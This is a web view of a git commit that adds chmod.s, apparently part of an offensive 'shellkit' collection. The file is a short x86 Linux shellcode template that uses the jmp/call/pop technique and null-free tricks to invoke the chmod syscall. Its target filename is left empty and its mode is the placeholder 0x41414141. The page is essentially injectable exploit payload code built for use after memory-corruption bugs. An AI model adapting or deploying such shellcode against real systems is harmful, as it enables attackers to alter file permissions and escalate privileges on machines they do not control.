summaryrefslogtreecommitdiff
path: root/other/shellkit/x86_linux/chmod.s
diff options
context:
space:
mode:
authorRoot THC2026-02-24 12:42:47 +0000
committerRoot THC2026-02-24 12:42:47 +0000
commitc9cbeced5b3f2bdd7407e29c0811e65954132540 (patch)
treeaefc355416b561111819de159ccbd86c3004cf88 /other/shellkit/x86_linux/chmod.s
parent073fe4bf9fca6bf40cef2886d75df832ef4b6fca (diff)
initial
Diffstat (limited to 'other/shellkit/x86_linux/chmod.s')
-rw-r--r--other/shellkit/x86_linux/chmod.s23
1 files changed, 23 insertions, 0 deletions
diff --git a/other/shellkit/x86_linux/chmod.s b/other/shellkit/x86_linux/chmod.s
new file mode 100644
index 0000000..63efd8b
--- /dev/null
+++ b/other/shellkit/x86_linux/chmod.s
@@ -0,0 +1,23 @@
1
2 .globl cbegin
3 .globl cend
4
5
6cbegin:
7 jmp file
8
9chmod:
10 xorl %eax, %eax
11 popl %ebx
12 movb %al, 0x4(%ebx)
13 movl $0x41414141, %ecx
14
15 movb $0xf, %al
16 int $0x80
17
18file:
19 call chmod
20 .ascii ""
21
22cend:
23